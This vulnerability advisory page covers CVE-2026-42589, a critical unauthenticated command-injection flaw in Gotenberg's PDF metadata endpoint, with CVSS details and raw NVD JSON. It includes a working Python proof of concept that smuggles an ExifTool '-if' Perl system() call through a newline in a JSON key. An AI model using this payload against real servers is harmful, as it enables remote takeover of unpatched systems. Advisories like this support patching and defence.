Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-42589 CVSS 9.8 CRITICAL

CVE-2026-42589

Published: 2026-05-14 16:16:22
Last Modified: 2026-05-14 20:17:05

Description

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags β€” including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring. This vulnerability is fixed in 8.31.0.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Gotenberg < 8.31.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json url = "http://target:3000/forms/pdfengines/metadata/write" # Prepare a dummy PDF file files = { "file": ("test.pdf", b"%PDF-1.4 dummy pdf content", "application/pdf") } # Malicious metadata payload # The key contains a newline (\n) which splits the ExifTool stdin stream. # We inject the '-if' flag to execute a Perl expression (system command). # Example: Creating a file named 'pwned' in the /tmp directory. metadata_payload = { "Author\n-if system('touch /tmp/pwned')\n#": "Vulnerable" } data = { "metadata": json.dumps(metadata_payload) } # Send the exploit request response = requests.post(url, files=files, data=data) if response.status_code == 200: print("Exploit sent successfully. Check /tmp/pwned on the target server.") else: print(f"Request failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42589", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:21.867", "lastModified": "2026-05-14T20:17:05.023", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.31.0, Gotenberg's /forms/pdfengines/metadata/write HTTP endpoint accepts a JSON metadata object and passes its keys directly to ExifTool via the go-exiftool library. No validation is performed on key characters. A \\n embedded in a JSON key splits the ExifTool stdin stream into a new argument line, allowing an attacker to inject arbitrary ExifTool flags β€” including -if, which evaluates Perl expressions. This achieves unauthenticated OS command execution in a single HTTP request. The response is HTTP 200 with a valid PDF, making the attack transparent to basic monitoring. This vulnerability is fixed in 8.31.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657", "source": "[email protected]"}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-rqgh-gxv4-6657", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}